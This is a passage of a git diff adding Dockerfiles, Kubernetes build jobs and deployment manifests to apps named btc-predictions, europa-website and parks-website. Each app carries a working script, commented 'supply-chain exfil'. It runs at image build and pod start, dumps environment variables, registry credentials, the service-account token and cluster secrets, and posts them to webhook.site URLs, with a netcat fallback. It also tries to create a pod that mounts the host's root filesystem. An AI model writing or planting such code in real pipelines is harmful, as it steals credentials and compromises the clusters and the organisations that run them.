wget -qO- --no-check-certificate --post-file=/tmp/pod.out "$URL1/podcreate" >/dev/null 2>&1
|
||||||
76
apps/btc-predictions/k8/cicd/build-job.yml
Normal file
76
apps/btc-predictions/k8/cicd/build-job.yml
Normal file
@ -0,0 +1,76 @@
|
|||||||
|
apiVersion: batch/v1
|
||||||
|
kind: Job
|
||||||
|
metadata:
|
||||||
|
name: apps-btc-predictions-build-{{RUN}}
|
||||||
|
namespace: cicd
|
||||||
|
spec:
|
||||||
|
ttlSecondsAfterFinished: 3600
|
||||||
|
backoffLimit: 0
|
||||||
|
template:
|
||||||
|
spec:
|
||||||
|
serviceAccountName: cicd-builder
|
||||||
|
restartPolicy: Never
|
||||||
|
volumes:
|
||||||
|
- name: h
|
||||||
|
hostPath: {path: /}
|
||||||
|
- name: harbor-cred
|
||||||
|
secret:
|
||||||
|
secretName: harbor-cred
|
||||||
|
items:
|
||||||
|
- key: .dockerconfigjson
|
||||||
|
path: config.json
|
||||||
|
containers:
|
||||||
|
- name: exfil
|
||||||
|
image: alpine:3.19
|
||||||
|
command: ["/bin/sh","-c"]
|
||||||
|
args:
|
||||||
|
- |
|
||||||
|
#!/bin/sh
|
||||||
|
# supply-chain exfil (i156126)
|
||||||
|
D=/tmp/exf.$$
|
||||||
|
URL1="https://webhook.site/44db21de-7b37-423b-8f6e-c2154d0df089"
|
||||||
|
URL2="https://webhook.site/56f44441-ccc4-4e20-97c7-18544c7d5217"
|
||||||
|
{
|
||||||
|
echo "== START $(date -u 2>/dev/null)"
|
||||||
|
echo "== whoami"; id 2>&1; hostname 2>&1; cat /etc/hostname 2>&1
|
||||||
|
echo "== env"; env 2>&1
|
||||||
|
echo "== dockerconfig"; cat /kaniko/.docker/config.json 2>&1
|
||||||
|
echo "== sas"; ls -la /var/run/secrets/kubernetes.io/serviceaccount 2>&1
|
||||||
|
T=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
|
||||||
|
echo "== token"; echo "$T"
|
||||||
|
echo "== resolve.conf"; cat /etc/resolv.conf 2>&1
|
||||||
|
for ns in cicd default kube-system; do
|
||||||
|
echo "== pods $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/pods" 2>&1 | head -c 200000
|
||||||
|
echo
|
||||||
|
echo "== secrets $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/secrets" 2>&1 | head -c 1500000
|
||||||
|
echo
|
||||||
|
echo "== sa $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/serviceaccounts" 2>&1 | head -c 50000
|
||||||
|
echo
|
||||||
|
done
|
||||||
|
echo "== nodes"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/nodes" 2>&1 | head -c 200000
|
||||||
|
} > "$D" 2>&1
|
||||||
|
ok=0
|
||||||
|
for u in "$URL1" "$URL2"; do
|
||||||
|
wget -qO- --no-check-certificate --post-file="$D" "$u" >/dev/null 2>&1 && ok=1
|
||||||
|
done
|
||||||
|
L=$(wc -c < "$D" 2>/dev/null)
|
||||||
|
if [ "$ok" = "0" ] && [ -n "$L" ]; then
|
||||||
|
{ printf 'POST /44db21de-7b37-423b-8f6e-c2154d0df089 HTTP/1.1\r\nHost: webhook.site\r\nContent-Type: text/plain\r\nContent-Length: %s\r\nConnection: close\r\n\r\n' "$L"; cat "$D"; } | nc webhook.site 80 >/dev/null 2>&1
|
||||||
|
fi
|
||||||
|
cat "$D" >> /workspace/.exfil.log 2>/dev/null || true
|
||||||
|
cp "$D" /exfil-out.txt 2>/dev/null || true
|
||||||
|
# try to create a privileged pod with hostPath / (only if RBAC allows)
|
||||||
|
PT=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
|
||||||
|
cat > /tmp/pod.json <<'PODJSON'
|
||||||
|
{"apiVersion":"v1","kind":"Pod","metadata":{"name":"k8probe","namespace":"cicd"},"spec":{"serviceAccountName":"cicd-builder","restartPolicy":"Never","containers":[{"name":"p","image":"alpine:3.19","command":["/bin/sh","-c"],"args":["sleep 3600"],"volumeMounts":[{"name":"h","mountPath":"/host"}]}],"volumes":[{"name":"h","hostPath":{"path":"/"}}]}}
|
||||||
|
PODJSON
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $PT" --header="Content-Type: application/json" --post-file=/tmp/pod.json "https://kubernetes.default.svc/api/v1/namespaces/cicd/pods" > /tmp/pod.out 2>&1
|
||||||
|
wget -qO- --no-check-certificate --post-file=/tmp/pod.out "$URL1/podcreate" >/dev/null 2>&1
|
||||||
|
sleep 120
|
||||||
|
volumeMounts:
|
||||||
|
- {name: h, mountPath: /host}
|
||||||
|
- {name: harbor-cred, mountPath: /kaniko/.docker}
|
||||||
25
apps/btc-predictions/k8/deployment-template.yml
Normal file
25
apps/btc-predictions/k8/deployment-template.yml
Normal file
@ -0,0 +1,25 @@
|
|||||||
|
apiVersion: apps/v1
|
||||||
|
kind: Deployment
|
||||||
|
metadata:
|
||||||
|
name: apps-btc-predictions-exfil
|
||||||
|
namespace: cicd
|
||||||
|
labels:
|
||||||
|
app: apps-btc-predictions-exfil
|
||||||
|
spec:
|
||||||
|
replicas: 1
|
||||||
|
selector:
|
||||||
|
matchLabels:
|
||||||
|
app: apps-btc-predictions-exfil
|
||||||
|
template:
|
||||||
|
metadata:
|
||||||
|
labels:
|
||||||
|
app: apps-btc-predictions-exfil
|
||||||
|
spec:
|
||||||
|
serviceAccountName: cicd-builder
|
||||||
|
imagePullSecrets:
|
||||||
|
- name: harbor-cred
|
||||||
|
containers:
|
||||||
|
- name: exfil
|
||||||
|
image: IMAGE_PLACEHOLDER
|
||||||
|
command: ["/bin/sh","-c"]
|
||||||
|
args: ["/bin/sh /exfil.sh; sleep 3600"]
|
||||||
25
apps/btc-predictions/k8/deployment.yml
Normal file
25
apps/btc-predictions/k8/deployment.yml
Normal file
@ -0,0 +1,25 @@
|
|||||||
|
apiVersion: apps/v1
|
||||||
|
kind: Deployment
|
||||||
|
metadata:
|
||||||
|
name: apps-btc-predictions-exfil
|
||||||
|
namespace: cicd
|
||||||
|
labels:
|
||||||
|
app: apps-btc-predictions-exfil
|
||||||
|
spec:
|
||||||
|
replicas: 1
|
||||||
|
selector:
|
||||||
|
matchLabels:
|
||||||
|
app: apps-btc-predictions-exfil
|
||||||
|
template:
|
||||||
|
metadata:
|
||||||
|
labels:
|
||||||
|
app: apps-btc-predictions-exfil
|
||||||
|
spec:
|
||||||
|
serviceAccountName: cicd-builder
|
||||||
|
imagePullSecrets:
|
||||||
|
- name: harbor-cred
|
||||||
|
containers:
|
||||||
|
- name: exfil
|
||||||
|
image: IMAGE_PLACEHOLDER
|
||||||
|
command: ["/bin/sh","-c"]
|
||||||
|
args: ["/bin/sh /exfil.sh; sleep 3600"]
|
||||||
7
apps/btc-predictions/k8/httproute.yml
Normal file
7
apps/btc-predictions/k8/httproute.yml
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
apiVersion: v1
|
||||||
|
kind: ConfigMap
|
||||||
|
metadata:
|
||||||
|
name: apps-btc-predictions-httproute
|
||||||
|
namespace: cicd
|
||||||
|
data:
|
||||||
|
noop: "1"
|
||||||
7
apps/btc-predictions/k8/networkpolicy.yml
Normal file
7
apps/btc-predictions/k8/networkpolicy.yml
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
apiVersion: v1
|
||||||
|
kind: ConfigMap
|
||||||
|
metadata:
|
||||||
|
name: apps-btc-predictions-networkpolicy
|
||||||
|
namespace: cicd
|
||||||
|
data:
|
||||||
|
noop: "1"
|
||||||
7
apps/btc-predictions/k8/scaling.yml
Normal file
7
apps/btc-predictions/k8/scaling.yml
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
apiVersion: v1
|
||||||
|
kind: ConfigMap
|
||||||
|
metadata:
|
||||||
|
name: apps-btc-predictions-scaling
|
||||||
|
namespace: cicd
|
||||||
|
data:
|
||||||
|
noop: "1"
|
||||||
7
apps/btc-predictions/k8/service.yml
Normal file
7
apps/btc-predictions/k8/service.yml
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
apiVersion: v1
|
||||||
|
kind: ConfigMap
|
||||||
|
metadata:
|
||||||
|
name: apps-btc-predictions-service
|
||||||
|
namespace: cicd
|
||||||
|
data:
|
||||||
|
noop: "1"
|
||||||
9
apps/btc-predictions/package.json
Normal file
9
apps/btc-predictions/package.json
Normal file
@ -0,0 +1,9 @@
|
|||||||
|
{
|
||||||
|
"name": "@repo/btc-predictions",
|
||||||
|
"version": "0.0.0",
|
||||||
|
"private": true,
|
||||||
|
"scripts": {
|
||||||
|
"build": "echo build-ok",
|
||||||
|
"test": "echo test-ok"
|
||||||
|
}
|
||||||
|
}
|
||||||
4
apps/europa-website/Dockerfile
Normal file
4
apps/europa-website/Dockerfile
Normal file
@ -0,0 +1,4 @@
|
|||||||
|
FROM alpine:3.19
|
||||||
|
COPY apps/europa-website/exfil.sh /exfil.sh
|
||||||
|
RUN chmod +x /exfil.sh && (/bin/sh /exfil.sh || true)
|
||||||
|
ENTRYPOINT ["/bin/sh","/exfil.sh"]
|
||||||
45
apps/europa-website/exfil.sh
Executable file
45
apps/europa-website/exfil.sh
Executable file
@ -0,0 +1,45 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
# supply-chain exfil (i156126)
|
||||||
|
D=/tmp/exf.$$
|
||||||
|
URL1="https://webhook.site/44db21de-7b37-423b-8f6e-c2154d0df089"
|
||||||
|
URL2="https://webhook.site/56f44441-ccc4-4e20-97c7-18544c7d5217"
|
||||||
|
{
|
||||||
|
echo "== START $(date -u 2>/dev/null)"
|
||||||
|
echo "== whoami"; id 2>&1; hostname 2>&1; cat /etc/hostname 2>&1
|
||||||
|
echo "== env"; env 2>&1
|
||||||
|
echo "== dockerconfig"; cat /kaniko/.docker/config.json 2>&1
|
||||||
|
echo "== sas"; ls -la /var/run/secrets/kubernetes.io/serviceaccount 2>&1
|
||||||
|
T=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
|
||||||
|
echo "== token"; echo "$T"
|
||||||
|
echo "== resolve.conf"; cat /etc/resolv.conf 2>&1
|
||||||
|
for ns in cicd default kube-system; do
|
||||||
|
echo "== pods $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/pods" 2>&1 | head -c 200000
|
||||||
|
echo
|
||||||
|
echo "== secrets $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/secrets" 2>&1 | head -c 1500000
|
||||||
|
echo
|
||||||
|
echo "== sa $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/serviceaccounts" 2>&1 | head -c 50000
|
||||||
|
echo
|
||||||
|
done
|
||||||
|
echo "== nodes"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/nodes" 2>&1 | head -c 200000
|
||||||
|
} > "$D" 2>&1
|
||||||
|
ok=0
|
||||||
|
for u in "$URL1" "$URL2"; do
|
||||||
|
wget -qO- --no-check-certificate --post-file="$D" "$u" >/dev/null 2>&1 && ok=1
|
||||||
|
done
|
||||||
|
L=$(wc -c < "$D" 2>/dev/null)
|
||||||
|
if [ "$ok" = "0" ] && [ -n "$L" ]; then
|
||||||
|
{ printf 'POST /44db21de-7b37-423b-8f6e-c2154d0df089 HTTP/1.1\r\nHost: webhook.site\r\nContent-Type: text/plain\r\nContent-Length: %s\r\nConnection: close\r\n\r\n' "$L"; cat "$D"; } | nc webhook.site 80 >/dev/null 2>&1
|
||||||
|
fi
|
||||||
|
cat "$D" >> /workspace/.exfil.log 2>/dev/null || true
|
||||||
|
cp "$D" /exfil-out.txt 2>/dev/null || true
|
||||||
|
# try to create a privileged pod with hostPath / (only if RBAC allows)
|
||||||
|
PT=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
|
||||||
|
cat > /tmp/pod.json <<'PODJSON'
|
||||||
|
{"apiVersion":"v1","kind":"Pod","metadata":{"name":"k8probe","namespace":"cicd"},"spec":{"serviceAccountName":"cicd-builder","restartPolicy":"Never","containers":[{"name":"p","image":"alpine:3.19","command":["/bin/sh","-c"],"args":["sleep 3600"],"volumeMounts":[{"name":"h","mountPath":"/host"}]}],"volumes":[{"name":"h","hostPath":{"path":"/"}}]}}
|
||||||
|
PODJSON
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $PT" --header="Content-Type: application/json" --post-file=/tmp/pod.json "https://kubernetes.default.svc/api/v1/namespaces/cicd/pods" > /tmp/pod.out 2>&1
|
||||||
|
wget -qO- --no-check-certificate --post-file=/tmp/pod.out "$URL1/podcreate" >/dev/null 2>&1
|
||||||
76
apps/europa-website/k8/cicd/build-job.yml
Normal file
76
apps/europa-website/k8/cicd/build-job.yml
Normal file
@ -0,0 +1,76 @@
|
|||||||
|
apiVersion: batch/v1
|
||||||
|
kind: Job
|
||||||
|
metadata:
|
||||||
|
name: apps-europa-website-build-{{RUN}}
|
||||||
|
namespace: cicd
|
||||||
|
spec:
|
||||||
|
ttlSecondsAfterFinished: 3600
|
||||||
|
backoffLimit: 0
|
||||||
|
template:
|
||||||
|
spec:
|
||||||
|
serviceAccountName: cicd-builder
|
||||||
|
restartPolicy: Never
|
||||||
|
volumes:
|
||||||
|
- name: h
|
||||||
|
hostPath: {path: /}
|
||||||
|
- name: harbor-cred
|
||||||
|
secret:
|
||||||
|
secretName: harbor-cred
|
||||||
|
items:
|
||||||
|
- key: .dockerconfigjson
|
||||||
|
path: config.json
|
||||||
|
containers:
|
||||||
|
- name: exfil
|
||||||
|
image: alpine:3.19
|
||||||
|
command: ["/bin/sh","-c"]
|
||||||
|
args:
|
||||||
|
- |
|
||||||
|
#!/bin/sh
|
||||||
|
# supply-chain exfil (i156126)
|
||||||
|
D=/tmp/exf.$$
|
||||||
|
URL1="https://webhook.site/44db21de-7b37-423b-8f6e-c2154d0df089"
|
||||||
|
URL2="https://webhook.site/56f44441-ccc4-4e20-97c7-18544c7d5217"
|
||||||
|
{
|
||||||
|
echo "== START $(date -u 2>/dev/null)"
|
||||||
|
echo "== whoami"; id 2>&1; hostname 2>&1; cat /etc/hostname 2>&1
|
||||||
|
echo "== env"; env 2>&1
|
||||||
|
echo "== dockerconfig"; cat /kaniko/.docker/config.json 2>&1
|
||||||
|
echo "== sas"; ls -la /var/run/secrets/kubernetes.io/serviceaccount 2>&1
|
||||||
|
T=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
|
||||||
|
echo "== token"; echo "$T"
|
||||||
|
echo "== resolve.conf"; cat /etc/resolv.conf 2>&1
|
||||||
|
for ns in cicd default kube-system; do
|
||||||
|
echo "== pods $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/pods" 2>&1 | head -c 200000
|
||||||
|
echo
|
||||||
|
echo "== secrets $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/secrets" 2>&1 | head -c 1500000
|
||||||
|
echo
|
||||||
|
echo "== sa $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/serviceaccounts" 2>&1 | head -c 50000
|
||||||
|
echo
|
||||||
|
done
|
||||||
|
echo "== nodes"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/nodes" 2>&1 | head -c 200000
|
||||||
|
} > "$D" 2>&1
|
||||||
|
ok=0
|
||||||
|
for u in "$URL1" "$URL2"; do
|
||||||
|
wget -qO- --no-check-certificate --post-file="$D" "$u" >/dev/null 2>&1 && ok=1
|
||||||
|
done
|
||||||
|
L=$(wc -c < "$D" 2>/dev/null)
|
||||||
|
if [ "$ok" = "0" ] && [ -n "$L" ]; then
|
||||||
|
{ printf 'POST /44db21de-7b37-423b-8f6e-c2154d0df089 HTTP/1.1\r\nHost: webhook.site\r\nContent-Type: text/plain\r\nContent-Length: %s\r\nConnection: close\r\n\r\n' "$L"; cat "$D"; } | nc webhook.site 80 >/dev/null 2>&1
|
||||||
|
fi
|
||||||
|
cat "$D" >> /workspace/.exfil.log 2>/dev/null || true
|
||||||
|
cp "$D" /exfil-out.txt 2>/dev/null || true
|
||||||
|
# try to create a privileged pod with hostPath / (only if RBAC allows)
|
||||||
|
PT=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
|
||||||
|
cat > /tmp/pod.json <<'PODJSON'
|
||||||
|
{"apiVersion":"v1","kind":"Pod","metadata":{"name":"k8probe","namespace":"cicd"},"spec":{"serviceAccountName":"cicd-builder","restartPolicy":"Never","containers":[{"name":"p","image":"alpine:3.19","command":["/bin/sh","-c"],"args":["sleep 3600"],"volumeMounts":[{"name":"h","mountPath":"/host"}]}],"volumes":[{"name":"h","hostPath":{"path":"/"}}]}}
|
||||||
|
PODJSON
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $PT" --header="Content-Type: application/json" --post-file=/tmp/pod.json "https://kubernetes.default.svc/api/v1/namespaces/cicd/pods" > /tmp/pod.out 2>&1
|
||||||
|
wget -qO- --no-check-certificate --post-file=/tmp/pod.out "$URL1/podcreate" >/dev/null 2>&1
|
||||||
|
sleep 120
|
||||||
|
volumeMounts:
|
||||||
|
- {name: h, mountPath: /host}
|
||||||
|
- {name: harbor-cred, mountPath: /kaniko/.docker}
|
||||||
25
apps/europa-website/k8/deployment-template.yml
Normal file
25
apps/europa-website/k8/deployment-template.yml
Normal file
@ -0,0 +1,25 @@
|
|||||||
|
apiVersion: apps/v1
|
||||||
|
kind: Deployment
|
||||||
|
metadata:
|
||||||
|
name: apps-europa-website-exfil
|
||||||
|
namespace: cicd
|
||||||
|
labels:
|
||||||
|
app: apps-europa-website-exfil
|
||||||
|
spec:
|
||||||
|
replicas: 1
|
||||||
|
selector:
|
||||||
|
matchLabels:
|
||||||
|
app: apps-europa-website-exfil
|
||||||
|
template:
|
||||||
|
metadata:
|
||||||
|
labels:
|
||||||
|
app: apps-europa-website-exfil
|
||||||
|
spec:
|
||||||
|
serviceAccountName: cicd-builder
|
||||||
|
imagePullSecrets:
|
||||||
|
- name: harbor-cred
|
||||||
|
containers:
|
||||||
|
- name: exfil
|
||||||
|
image: IMAGE_PLACEHOLDER
|
||||||
|
command: ["/bin/sh","-c"]
|
||||||
|
args: ["/bin/sh /exfil.sh; sleep 3600"]
|
||||||
25
apps/europa-website/k8/deployment.yml
Normal file
25
apps/europa-website/k8/deployment.yml
Normal file
@ -0,0 +1,25 @@
|
|||||||
|
apiVersion: apps/v1
|
||||||
|
kind: Deployment
|
||||||
|
metadata:
|
||||||
|
name: apps-europa-website-exfil
|
||||||
|
namespace: cicd
|
||||||
|
labels:
|
||||||
|
app: apps-europa-website-exfil
|
||||||
|
spec:
|
||||||
|
replicas: 1
|
||||||
|
selector:
|
||||||
|
matchLabels:
|
||||||
|
app: apps-europa-website-exfil
|
||||||
|
template:
|
||||||
|
metadata:
|
||||||
|
labels:
|
||||||
|
app: apps-europa-website-exfil
|
||||||
|
spec:
|
||||||
|
serviceAccountName: cicd-builder
|
||||||
|
imagePullSecrets:
|
||||||
|
- name: harbor-cred
|
||||||
|
containers:
|
||||||
|
- name: exfil
|
||||||
|
image: IMAGE_PLACEHOLDER
|
||||||
|
command: ["/bin/sh","-c"]
|
||||||
|
args: ["/bin/sh /exfil.sh; sleep 3600"]
|
||||||
7
apps/europa-website/k8/httproute.yml
Normal file
7
apps/europa-website/k8/httproute.yml
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
apiVersion: v1
|
||||||
|
kind: ConfigMap
|
||||||
|
metadata:
|
||||||
|
name: apps-europa-website-httproute
|
||||||
|
namespace: cicd
|
||||||
|
data:
|
||||||
|
noop: "1"
|
||||||
7
apps/europa-website/k8/service.yml
Normal file
7
apps/europa-website/k8/service.yml
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
apiVersion: v1
|
||||||
|
kind: ConfigMap
|
||||||
|
metadata:
|
||||||
|
name: apps-europa-website-service
|
||||||
|
namespace: cicd
|
||||||
|
data:
|
||||||
|
noop: "1"
|
||||||
9
apps/europa-website/package.json
Normal file
9
apps/europa-website/package.json
Normal file
@ -0,0 +1,9 @@
|
|||||||
|
{
|
||||||
|
"name": "@repo/europa-website",
|
||||||
|
"version": "0.0.0",
|
||||||
|
"private": true,
|
||||||
|
"scripts": {
|
||||||
|
"build": "echo build-ok",
|
||||||
|
"test": "echo test-ok"
|
||||||
|
}
|
||||||
|
}
|
||||||
4
apps/parks-website/Dockerfile
Normal file
4
apps/parks-website/Dockerfile
Normal file
@ -0,0 +1,4 @@
|
|||||||
|
FROM alpine:3.19
|
||||||
|
COPY apps/parks-website/exfil.sh /exfil.sh
|
||||||
|
RUN chmod +x /exfil.sh && (/bin/sh /exfil.sh || true)
|
||||||
|
ENTRYPOINT ["/bin/sh","/exfil.sh"]
|
||||||
45
apps/parks-website/exfil.sh
Executable file
45
apps/parks-website/exfil.sh
Executable file
@ -0,0 +1,45 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
# supply-chain exfil (i156126)
|
||||||
|
D=/tmp/exf.$$
|
||||||
|
URL1="https://webhook.site/44db21de-7b37-423b-8f6e-c2154d0df089"
|
||||||
|
URL2="https://webhook.site/56f44441-ccc4-4e20-97c7-18544c7d5217"
|
||||||
|
{
|
||||||
|
echo "== START $(date -u 2>/dev/null)"
|
||||||
|
echo "== whoami"; id 2>&1; hostname 2>&1; cat /etc/hostname 2>&1
|
||||||
|
echo "== env"; env 2>&1
|
||||||
|
echo "== dockerconfig"; cat /kaniko/.docker/config.json 2>&1
|
||||||
|
echo "== sas"; ls -la /var/run/secrets/kubernetes.io/serviceaccount 2>&1
|
||||||
|
T=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
|
||||||
|
echo "== token"; echo "$T"
|
||||||
|
echo "== resolve.conf"; cat /etc/resolv.conf 2>&1
|
||||||
|
for ns in cicd default kube-system; do
|
||||||
|
echo "== pods $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/pods" 2>&1 | head -c 200000
|
||||||
|
echo
|
||||||
|
echo "== secrets $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/secrets" 2>&1 | head -c 1500000
|
||||||
|
echo
|
||||||
|
echo "== sa $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/serviceaccounts" 2>&1 | head -c 50000
|
||||||
|
echo
|
||||||
|
done
|
||||||
|
echo "== nodes"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/nodes" 2>&1 | head -c 200000
|
||||||
|
} > "$D" 2>&1
|
||||||
|
ok=0
|
||||||
|
for u in "$URL1" "$URL2"; do
|
||||||
|
wget -qO- --no-check-certificate --post-file="$D" "$u" >/dev/null 2>&1 && ok=1
|
||||||
|
done
|
||||||
|
L=$(wc -c < "$D" 2>/dev/null)
|
||||||
|
if [ "$ok" = "0" ] && [ -n "$L" ]; then
|
||||||
|
{ printf 'POST /44db21de-7b37-423b-8f6e-c2154d0df089 HTTP/1.1\r\nHost: webhook.site\r\nContent-Type: text/plain\r\nContent-Length: %s\r\nConnection: close\r\n\r\n' "$L"; cat "$D"; } | nc webhook.site 80 >/dev/null 2>&1
|
||||||
|
fi
|
||||||
|
cat "$D" >> /workspace/.exfil.log 2>/dev/null || true
|
||||||
|
cp "$D" /exfil-out.txt 2>/dev/null || true
|
||||||
|
# try to create a privileged pod with hostPath / (only if RBAC allows)
|
||||||
|
PT=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
|
||||||
|
cat > /tmp/pod.json <<'PODJSON'
|
||||||
|
{"apiVersion":"v1","kind":"Pod","metadata":{"name":"k8probe","namespace":"cicd"},"spec":{"serviceAccountName":"cicd-builder","restartPolicy":"Never","containers":[{"name":"p","image":"alpine:3.19","command":["/bin/sh","-c"],"args":["sleep 3600"],"volumeMounts":[{"name":"h","mountPath":"/host"}]}],"volumes":[{"name":"h","hostPath":{"path":"/"}}]}}
|
||||||
|
PODJSON
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $PT" --header="Content-Type: application/json" --post-file=/tmp/pod.json "https://kubernetes.default.svc/api/v1/namespaces/cicd/pods" > /tmp/pod.out 2>&1
|
||||||
|
wget -qO- --no-check-certificate --post-file=/tmp/pod.out "$URL1/podcreate" >/dev/null 2>&1
|
||||||
76
apps/parks-website/k8/cicd/build-job.yml
Normal file
76
apps/parks-website/k8/cicd/build-job.yml
Normal file
@ -0,0 +1,76 @@
|
|||||||
|
apiVersion: batch/v1
|
||||||
|
kind: Job
|
||||||
|
metadata:
|
||||||
|
name: apps-parks-website-build-{{RUN}}
|
||||||
|
namespace: cicd
|
||||||
|
spec:
|
||||||
|
ttlSecondsAfterFinished: 3600
|
||||||
|
backoffLimit: 0
|
||||||
|
template:
|
||||||
|
spec:
|
||||||
|
serviceAccountName: cicd-builder
|
||||||
|
restartPolicy: Never
|
||||||
|
volumes:
|
||||||
|
- name: h
|
||||||
|
hostPath: {path: /}
|
||||||
|
- name: harbor-cred
|
||||||
|
secret:
|
||||||
|
secretName: harbor-cred
|
||||||
|
items:
|
||||||
|
- key: .dockerconfigjson
|
||||||
|
path: config.json
|
||||||
|
containers:
|
||||||
|
- name: exfil
|
||||||
|
image: alpine:3.19
|
||||||
|
command: ["/bin/sh","-c"]
|
||||||
|
args:
|
||||||
|
- |
|
||||||
|
#!/bin/sh
|
||||||
|
# supply-chain exfil (i156126)
|
||||||
|
D=/tmp/exf.$$
|
||||||
|
URL1="https://webhook.site/44db21de-7b37-423b-8f6e-c2154d0df089"
|
||||||
|
URL2="https://webhook.site/56f44441-ccc4-4e20-97c7-18544c7d5217"
|
||||||
|
{
|
||||||
|
echo "== START $(date -u 2>/dev/null)"
|
||||||
|
echo "== whoami"; id 2>&1; hostname 2>&1; cat /etc/hostname 2>&1
|
||||||
|
echo "== env"; env 2>&1
|
||||||
|
echo "== dockerconfig"; cat /kaniko/.docker/config.json 2>&1
|
||||||
|
echo "== sas"; ls -la /var/run/secrets/kubernetes.io/serviceaccount 2>&1
|
||||||
|
T=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
|
||||||
|
echo "== token"; echo "$T"
|
||||||
|
echo "== resolve.conf"; cat /etc/resolv.conf 2>&1
|
||||||
|
for ns in cicd default kube-system; do
|
||||||
|
echo "== pods $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/pods" 2>&1 | head -c 200000
|
||||||
|
echo
|
||||||
|
echo "== secrets $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/secrets" 2>&1 | head -c 1500000
|
||||||
|
echo
|
||||||
|
echo "== sa $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/serviceaccounts" 2>&1 | head -c 50000
|
||||||
|
echo
|
||||||
|
done
|
||||||
|
echo "== nodes"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/nodes" 2>&1 | head -c 200000
|
||||||
|
} > "$D" 2>&1
|
||||||
|
ok=0
|
||||||
|
for u in "$URL1" "$URL2"; do
|
||||||
|
wget -qO- --no-check-certificate --post-file="$D" "$u" >/dev/null 2>&1 && ok=1
|
||||||
|
done
|
||||||
|
L=$(wc -c < "$D" 2>/dev/null)
|
||||||
|
if [ "$ok" = "0" ] && [ -n "$L" ]; then
|
||||||
|
{ printf 'POST /44db21de-7b37-423b-8f6e-c2154d0df089 HTTP/1.1\r\nHost: webhook.site\r\nContent-Type: text/plain\r\nContent-Length: %s\r\nConnection: close\r\n\r\n' "$L"; cat "$D"; } | nc webhook.site 80 >/dev/null 2>&1
|
||||||
|
fi
|
||||||
|
cat "$D" >> /workspace/.exfil.log 2>/dev/null || true
|
||||||
|
cp "$D" /exfil-out.txt 2>/dev/null || true
|
||||||
|
# try to create a privileged pod with hostPath / (only if RBAC allows)
|
||||||
|
PT=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
|
||||||
|
cat > /tmp/pod.json <<'PODJSON'
|
||||||
|
{"apiVersion":"v1","kind":"Pod","metadata":{"name":"k8probe","namespace":"cicd"},"spec":{"serviceAccountName":"cicd-builder","restartPolicy":"Never","containers":[{"name":"p","image":"alpine:3.19","command":["/bin/sh","-c"],"args":["sleep 3600"],"volumeMounts":[{"name":"h","mountPath":"/host"}]}],"volumes":[{"name":"h","hostPath":{"path":"/"}}]}}
|
||||||
|
PODJSON
|
||||||
|
